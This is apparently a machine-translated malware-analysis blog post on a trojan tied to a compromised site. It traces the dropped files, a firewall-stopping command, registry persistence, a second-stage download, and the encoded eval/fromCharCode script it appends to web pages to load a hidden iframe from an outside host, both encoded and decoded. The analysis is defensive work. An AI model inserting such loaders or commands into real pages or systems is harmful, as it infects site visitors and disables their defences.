Read the Web site is linked to the Trojan Horse analysis Js+eval implementation _ Virus killing

See this message in ff. So the page is untied.
It turned out to be an "old friend" assassin group. have been dealing with the network horse that this group has generated many times.

Which hangs on a Trojan
Hxxp://www.es86.com/pic/ddb/2006692151148920.gif

Let's make an analysis of this.
Run the sample.
Releasing files
C:\win30.exe
Call cmd Run command/C net stop SharedAccess

Visit Web site
61.129.102.79
Address should be: hxxp://www.es86.com 80 port Communication

Download: Hxxp://www.es86.com/es86/db/dvbbs.mdb
This file is a RAR file.

Dvbbs.mdb releases the file as
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\ecompress.fne
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\eimgconverter.fne
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\elib.fne
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\hideproc.dll
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\internet.fne
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\krnln.fnr
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\mop
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\moz
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\nhook.dll
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\shell.fne
C:\Program Files\Common Files\Microsoft Shared\Web server Extensions\40\bots\vinavbar\svchost.exe

Writing to the registration table
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Svchost" = "C:\Program files\common Files\Microsoft Shared\Web Server Extensions\40\bots\vinavbar\svchost.exe"

Adding code to the HTM and aspx tails
<script>
P= " 60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,104,116,116,1 12,58,47,47,97,45,108,46,109,101,105,98,117,46,99,111,109,47,34,62,60,47,105,102,114,97,109,101,62 "
P=eval ("String.fromCharCode" ("+p+"));
document.write (P);</script>

Decrypted to
<script>
p= "<iframe height=0 width=0 src=" http://a-l.meibu.com/"></iframe>"
P=eval ("String.fromCharCode" ("+p+"));
document.write (P);</script>

Online scanning
AntiVir 7.3.1.38 03.02.2007 Tr/crypt.nspm.gen
BitDefender 7.2 03.02.2007 DeepScan:Generic.Malware.PWYddldPk.D212BB22
esafe 7.0.14.0 02.28.2007 Suspicious trojan/worm
F-secure 6.70.13030.0 03.02.2007 W32/downloader
Ikarus T3.1.1.3 03.02.2007 Backdoor.Win32.Hupigon.BV
Nod32v2 2090 03.02.2007 A variant of Win32/delf.ag
Norman 5.80.02 03.02.2007 W32/downloader
Panda 9.0.0.4 03.01.2007 Suspicious file

The above analysis is done in the virtual machine.
This time the addition of the shell is really not open. Unable to view more details.

But guess writing language for Borland Delphi 6.0-7.0
Trying to turn off some security software estimates are also available.

=.= again this sigh. What kind of shell is this?